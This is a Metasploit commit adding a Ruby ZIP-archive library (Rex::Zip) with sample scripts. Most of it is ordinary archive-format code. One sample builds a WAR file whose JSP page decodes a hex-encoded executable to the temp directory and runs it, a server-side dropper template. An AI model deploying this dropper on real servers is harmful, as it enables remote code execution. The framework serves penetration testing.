add a zip implementation, Rex::Zip, see lib/rex/zip/samples for more info
git-svn-id: file:///home/svn/framework3/trunk@8439 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
a241e0f949
commit
2c100083bf
|
@ -0,0 +1,93 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# Zip library
|
||||
#
|
||||
# Written by Joshua J. Drake <jduck [at] metasploit.com>
|
||||
#
|
||||
# Based on code contributed by bannedit, and the following SPEC:
|
||||
# Reference: http://www.pkware.com/documents/casestudies/APPNOTE.TXT
|
||||
#
|
||||
|
||||
require 'zlib'
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
ZIP_VERSION = 0x14
|
||||
|
||||
# general purpose bit flag values
|
||||
#
|
||||
# bit 0
|
||||
GPBF_ENCRYPTED = 0x0001
|
||||
# bits 1 & 2
|
||||
# implode only
|
||||
GPBF_IMP_8KDICT = 0x0002
|
||||
GPBF_IMP_3SFT = 0x0004
|
||||
# deflate only
|
||||
GPBF_DEF_MAX = 0x0002
|
||||
GPBF_DEF_FAST = 0x0004
|
||||
GPBF_DEF_SUPERFAST = 0x0006
|
||||
# lzma only
|
||||
GPBF_LZMA_EOSUSED = 0x0002
|
||||
# bit 3
|
||||
GPBF_USE_DATADESC = 0x0008
|
||||
# bit 4
|
||||
GPBF_DEF_ENHANCED = 0x0010
|
||||
# bit 5
|
||||
GPBF_COMP_PATHCED = 0x0020
|
||||
# bit 6
|
||||
GPBF_STRONG_ENC = 0x0040
|
||||
# bit 7-10 unused
|
||||
# bit 11
|
||||
GPBF_STRS_UTF8 = 0x0800
|
||||
# bit 12 (reserved)
|
||||
# bit 13
|
||||
GPBF_DIR_ENCRYPTED = 0x2000
|
||||
# bit 14,15 (reserved)
|
||||
|
||||
|
||||
# compression methods
|
||||
CM_STORE = 0
|
||||
CM_SHRINK = 1
|
||||
CM_REDUCE1 = 2
|
||||
CM_REDUCE2 = 3
|
||||
CM_REDUCE3 = 4
|
||||
CM_REDUCE4 = 5
|
||||
CM_IMPLODE = 6
|
||||
CM_TOKENIZE = 7
|
||||
CM_DEFLATE = 8
|
||||
CM_DEFLATE64 = 9
|
||||
CM_PKWARE_IMPLODE = 10
|
||||
# 11 - reserved
|
||||
CM_BZIP2 = 12
|
||||
# 13 - reserved
|
||||
CM_LZMA_EFS = 14
|
||||
# 15-17 reserved
|
||||
CM_IBM_TERSE = 18
|
||||
CM_IBM_LZ77 = 19
|
||||
# 20-96 reserved
|
||||
CM_WAVPACK = 97
|
||||
CM_PPMD_V1R1 = 98
|
||||
|
||||
|
||||
# internal file attributes
|
||||
IFA_ASCII = 0x0001
|
||||
# bits 2 & 3 are reserved
|
||||
IFA_MAINFRAME_MODE = 0x0002 # ??
|
||||
|
||||
|
||||
# external file attributes
|
||||
EFA_ISDIR = 0x0001
|
||||
|
||||
|
||||
# various parts of the structure
|
||||
require 'rex/zip/blocks'
|
||||
|
||||
# an entry in a zip file
|
||||
require 'rex/zip/entry'
|
||||
|
||||
# the archive class
|
||||
require 'rex/zip/archive'
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
#
|
||||
# This represents an entire archive.
|
||||
#
|
||||
class Archive
|
||||
|
||||
def initialize(compmeth=CM_DEFLATE)
|
||||
@compmeth = compmeth
|
||||
@entries = []
|
||||
end
|
||||
|
||||
|
||||
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
|
||||
if (not fdata)
|
||||
begin
|
||||
st = File.stat(fname)
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
|
||||
ts = st.mtime
|
||||
if (st.directory?)
|
||||
attrs = EFA_ISDIR
|
||||
fname += '/'
|
||||
else
|
||||
f = File.open(fname, 'rb')
|
||||
fdata = f.read(f.stat.size)
|
||||
f.close
|
||||
end
|
||||
end
|
||||
|
||||
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment)
|
||||
end
|
||||
|
||||
|
||||
def set_comment(comment)
|
||||
@comment = comment
|
||||
end
|
||||
|
||||
|
||||
def save_to(fname)
|
||||
f = File.open(fname, 'wb')
|
||||
f.write(pack)
|
||||
f.close
|
||||
end
|
||||
|
||||
|
||||
def pack
|
||||
ret = ''
|
||||
|
||||
# save the offests
|
||||
offsets = []
|
||||
|
||||
# file 1 .. file n
|
||||
@entries.each { |ent|
|
||||
offsets << ret.length
|
||||
ret << ent.pack
|
||||
}
|
||||
|
||||
# archive decryption header (unsupported)
|
||||
# archive extra data record (unsupported)
|
||||
|
||||
# central directory
|
||||
cfd_offset = ret.length
|
||||
idx = 0
|
||||
@entries.each { |ent|
|
||||
cfd = CentralDir.new(ent, offsets[idx])
|
||||
ret << cfd.pack
|
||||
idx += 1
|
||||
}
|
||||
|
||||
# zip64 end of central dir record (unsupported)
|
||||
# zip64 end of central dir locator (unsupported)
|
||||
|
||||
# end of central directory record
|
||||
cur_offset = ret.length - cfd_offset
|
||||
ret << CentralDirEnd.new(@entries.length, cur_offset, cfd_offset, @comment).pack
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,182 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
|
||||
#
|
||||
# This structure holds the following data pertaining to a Zip entry's data.
|
||||
#
|
||||
# data crc
|
||||
# compressed size
|
||||
# uncompressed size
|
||||
#
|
||||
class CompInfo
|
||||
|
||||
def initialize(crc, compsz, uncompsz)
|
||||
@crc, @compsz, @uncompsz = crc, compsz, uncompsz
|
||||
end
|
||||
|
||||
def pack
|
||||
[ @crc, @compsz, @uncompsz ].pack('VVV')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure holds the following data pertaining to a Zip entry.
|
||||
#
|
||||
# general purpose bit flag
|
||||
# compression method
|
||||
# modification time
|
||||
# modification date
|
||||
#
|
||||
class CompFlags
|
||||
|
||||
attr_accessor :compmeth
|
||||
|
||||
def initialize(gpbf, compmeth, timestamp)
|
||||
@gpbf = gpbf
|
||||
@compmeth = compmeth
|
||||
@mod_time = ((timestamp.hour << 11) | (timestamp.min << 5) | (timestamp.sec))
|
||||
@mod_date = (((timestamp.year - 1980) << 9) | (timestamp.mon << 5) | (timestamp.day))
|
||||
end
|
||||
|
||||
def pack
|
||||
[ @gpbf, @compmeth, @mod_time, @mod_date ].pack('vvvv')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# This structure is sometimes stored after the file data and used
|
||||
# instead of the fields within the Local File Header.
|
||||
#
|
||||
class DataDesc
|
||||
|
||||
SIGNATURE = 0x8074b50
|
||||
|
||||
def initialize(compinfo)
|
||||
@compinfo = compinfo
|
||||
end
|
||||
|
||||
def pack
|
||||
ret = [ SIGNATURE ].pack('V')
|
||||
ret << @compinfo.pack
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure records the compression data and flags about
|
||||
# a Zip entry to a file.
|
||||
#
|
||||
class LocalFileHdr
|
||||
|
||||
SIGNATURE = 0x4034b50
|
||||
|
||||
def initialize(entry)
|
||||
@entry = entry
|
||||
end
|
||||
|
||||
def pack
|
||||
path = @entry.relative_path
|
||||
|
||||
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
|
||||
ret << @entry.flags.pack
|
||||
ret << @entry.info.pack
|
||||
ret << [ path.length, @entry.xtra.length ].pack('vv')
|
||||
ret << path
|
||||
ret << @entry.xtra
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure holds all of the information about a particular Zip Entry
|
||||
# as it is contained within the central directory.
|
||||
#
|
||||
class CentralDir
|
||||
|
||||
SIGNATURE = 0x2014b50
|
||||
|
||||
def initialize(entry, offset)
|
||||
@entry = entry
|
||||
@disknum_start = 0
|
||||
@attr_int = 0
|
||||
@attr_ext = 0x20
|
||||
@hdr_offset = offset
|
||||
end
|
||||
|
||||
def pack
|
||||
path = @entry.relative_path
|
||||
|
||||
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
|
||||
ret << [ ZIP_VERSION ].pack('v')
|
||||
ret << @entry.flags.pack
|
||||
ret << @entry.info.pack
|
||||
arr = []
|
||||
arr << path.length
|
||||
arr << @entry.xtra.length
|
||||
arr << @entry.comment.length
|
||||
arr << @disknum_start
|
||||
arr << @attr_int
|
||||
arr << @entry.attrs
|
||||
arr << @hdr_offset
|
||||
ret << arr.pack('vvvvvVV')
|
||||
ret << path
|
||||
ret << @entry.xtra
|
||||
ret << @entry.comment
|
||||
# digital signature not supported
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This structure is written after the per-entry central directory records to
|
||||
# provide information about the archive as a whole.
|
||||
#
|
||||
class CentralDirEnd
|
||||
|
||||
SIGNATURE = 0x6054b50
|
||||
|
||||
def initialize(ncfd, cfdsz, offset, comment=nil)
|
||||
@disk_no = 0
|
||||
@disk_dir_start = 0
|
||||
@ncfd_this_disk = ncfd
|
||||
@ncfd_total = ncfd
|
||||
@cfd_size = cfdsz
|
||||
@start_offset = offset
|
||||
@comment = comment
|
||||
@comment ||= ''
|
||||
end
|
||||
|
||||
|
||||
def pack
|
||||
arr = []
|
||||
arr << SIGNATURE
|
||||
arr << @disk_no
|
||||
arr << @disk_dir_start
|
||||
arr << @ncfd_this_disk
|
||||
arr << @ncfd_total
|
||||
arr << @cfd_size
|
||||
arr << @start_offset
|
||||
arr << @comment.length
|
||||
(arr.pack('VvvvvVVv') + @comment)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Zip
|
||||
|
||||
class Entry
|
||||
|
||||
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs
|
||||
|
||||
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil)
|
||||
@name = fname
|
||||
@data = data
|
||||
@xtra = xtra
|
||||
@xtra ||= ''
|
||||
@comment = comment
|
||||
@comment ||= ''
|
||||
@attrs = attrs
|
||||
@attrs ||= 0
|
||||
|
||||
# XXX: sanitize timestmap (assume now)
|
||||
timestamp ||= Time.now
|
||||
@flags = CompFlags.new(0, compmeth, timestamp)
|
||||
|
||||
if (@data)
|
||||
compress
|
||||
else
|
||||
@data = ''
|
||||
@info = CompInfo.new(0, 0, 0)
|
||||
end
|
||||
@compdata ||= ''
|
||||
end
|
||||
|
||||
|
||||
def compress
|
||||
@crc = Zlib.crc32(@data, 0)
|
||||
case @flags.compmeth
|
||||
|
||||
when CM_STORE
|
||||
@compdata = @data
|
||||
|
||||
when CM_DEFLATE
|
||||
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
|
||||
@compdata = z.deflate(@data, Zlib::FINISH)
|
||||
z.close
|
||||
@compdata = @compdata.slice!(2, @compdata.length-4)
|
||||
|
||||
else
|
||||
raise 'Unsupported compression method: %u' % @flags.compmeth
|
||||
end
|
||||
|
||||
@info = CompInfo.new(@crc, @compdata.length, @data.length)
|
||||
end
|
||||
|
||||
|
||||
def relative_path
|
||||
if (@name[0,1] == '/')
|
||||
return @name[1,@name.length]
|
||||
end
|
||||
@name
|
||||
end
|
||||
|
||||
|
||||
def pack
|
||||
ret = ''
|
||||
|
||||
# - lfh 1
|
||||
lfh = LocalFileHdr.new(self)
|
||||
ret << lfh.pack
|
||||
|
||||
# - data 1
|
||||
if (@compdata)
|
||||
ret << @compdata
|
||||
end
|
||||
|
||||
if (@gpbf & GPBF_USE_DATADESC)
|
||||
# - data desc 1
|
||||
dd = DataDesc.new(@info)
|
||||
ret << dd.pack
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Create a zip file with comments!
|
||||
#
|
||||
|
||||
require 'zip'
|
||||
|
||||
# example usage
|
||||
zip = Zip::Archive.new
|
||||
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
|
||||
+---------------+
|
||||
| file comment! |
|
||||
+---------------+
|
||||
>)
|
||||
zip.set_comment(%Q<
|
||||
|
||||
+------------------------------------------+
|
||||
| |
|
||||
| Hello! This is the Zip Archive comment! |
|
||||
| |
|
||||
+------------------------------------------+
|
||||
|
||||
>)
|
||||
zip.save_to("lolz.zip")
|
|
@ -0,0 +1,130 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Create a WAR archive!
|
||||
#
|
||||
|
||||
require 'zip'
|
||||
|
||||
|
||||
def rand_text_alpha(len)
|
||||
buff = ""
|
||||
|
||||
foo = []
|
||||
foo += ('A' .. 'Z').to_a
|
||||
foo += ('a' .. 'z').to_a
|
||||
|
||||
# Generate a buffer from the remaining bytes
|
||||
if foo.length >= 256
|
||||
len.times { buff << Kernel.rand(256) }
|
||||
else
|
||||
len.times { buff << foo[ rand(foo.length) ] }
|
||||
end
|
||||
|
||||
return buff
|
||||
end
|
||||
|
||||
|
||||
exe = "exe " * 1024
|
||||
var_payload = "var_payload"
|
||||
var_name = "var_name"
|
||||
|
||||
|
||||
zip = Zip::Archive.new
|
||||
|
||||
# begin meta-inf/
|
||||
minf = [ 0xcafe, 0x0003 ].pack('Vv')
|
||||
zip.add_file('META-INF/', nil, minf)
|
||||
# end meta-inf/
|
||||
|
||||
# begin meta-inf/manifest.mf
|
||||
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
||||
zip.add_file('META-INF/MANIFEST.MF', mfraw)
|
||||
# end meta-inf/manifest.mf
|
||||
|
||||
# begin web-inf/
|
||||
zip.add_file('WEB-INF/', '')
|
||||
# end web-inf/
|
||||
|
||||
# begin web-inf/web.xml
|
||||
webxmlraw = %q{<?xml version="1.0" ?>
|
||||
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
|
||||
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
|
||||
version="2.4">
|
||||
<servlet>
|
||||
<servlet-name>NAME</servlet-name>
|
||||
<jsp-file>/PAYLOAD.jsp</jsp-file>
|
||||
</servlet>
|
||||
</web-app>
|
||||
}
|
||||
|
||||
webxmlraw.gsub!(/NAME/, var_name)
|
||||
webxmlraw.gsub!(/PAYLOAD/, var_payload)
|
||||
|
||||
zip.add_file('WEB-INF/web.xml', webxmlraw)
|
||||
# end web-inf/web.xml
|
||||
|
||||
# begin <payload>.jsp
|
||||
var_hexpath = rand_text_alpha(rand(8)+8)
|
||||
var_exepath = rand_text_alpha(rand(8)+8)
|
||||
var_data = rand_text_alpha(rand(8)+8)
|
||||
var_inputstream = rand_text_alpha(rand(8)+8)
|
||||
var_outputstream = rand_text_alpha(rand(8)+8)
|
||||
var_numbytes = rand_text_alpha(rand(8)+8)
|
||||
var_bytearray = rand_text_alpha(rand(8)+8)
|
||||
var_bytes = rand_text_alpha(rand(8)+8)
|
||||
var_counter = rand_text_alpha(rand(8)+8)
|
||||
var_char1 = rand_text_alpha(rand(8)+8)
|
||||
var_char2 = rand_text_alpha(rand(8)+8)
|
||||
var_comb = rand_text_alpha(rand(8)+8)
|
||||
var_exe = rand_text_alpha(rand(8)+8)
|
||||
var_hexfile = rand_text_alpha(rand(8)+8)
|
||||
var_proc = rand_text_alpha(rand(8)+8)
|
||||
|
||||
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
||||
jspraw << "<%\n"
|
||||
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
|
||||
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
||||
jspraw << "String #{var_data} = \"\";\n"
|
||||
|
||||
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
||||
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
||||
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
||||
|
||||
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
||||
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
||||
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
||||
jspraw << "#{var_inputstream}.close();\n"
|
||||
|
||||
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
||||
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
||||
jspraw << "{\n"
|
||||
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
||||
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
||||
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_comb} <<= 4;\n"
|
||||
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
||||
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
||||
jspraw << "}\n"
|
||||
|
||||
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
||||
jspraw << "#{var_outputstream}.close();\n"
|
||||
|
||||
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
||||
jspraw << "%>\n"
|
||||
|
||||
zip.add_file("#{var_payload}.jsp", jspraw)
|
||||
# end <payload>.jsp
|
||||
|
||||
# begin <payload>.txt
|
||||
payloadraw = exe.unpack('H*')[0]
|
||||
zip.add_file("#{var_hexfile}.txt", payloadraw)
|
||||
# end <payload>.txt
|
||||
|
||||
|
||||
zip.save_to("test.war")
|
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Add a file from memory and save it.
|
||||
#
|
||||
|
||||
require 'zip'
|
||||
|
||||
# example usage
|
||||
zip = Zip::Archive.new
|
||||
zip.add_file("elite.txt", "A" * 1024)
|
||||
zip.save_to("lolz.zip")
|
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'zip'
|
||||
|
||||
out = "test.zip"
|
||||
dir = "/var/www"
|
||||
|
||||
|
||||
def add_file(zip, path)
|
||||
zip.add_file(path)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# If it's a directory, Walk the directory and add each item
|
||||
#
|
||||
def add_files(zip, path, recursive = nil)
|
||||
|
||||
if (not add_file(zip, path))
|
||||
return nil
|
||||
end
|
||||
|
||||
if (recursive and File.stat(path).directory?)
|
||||
begin
|
||||
dir = Dir.open(path)
|
||||
rescue
|
||||
# skip this file
|
||||
return nil
|
||||
end
|
||||
|
||||
dir.each { |f|
|
||||
next if (f == '.')
|
||||
next if (f == '..')
|
||||
|
||||
full_path = path + '/' + f
|
||||
st = File.stat(full_path)
|
||||
if (st.directory?)
|
||||
puts "adding dir #{full_path}"
|
||||
add_files(zip, full_path, recursive)
|
||||
elsif (st.file?)
|
||||
puts "adding file #{full_path}"
|
||||
add_file(zip, full_path)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
zip = Zip::Archive.new
|
||||
add_files(zip, dir, TRUE)
|
||||
zip.save_to(out)
|
Loading…
Reference in New Issue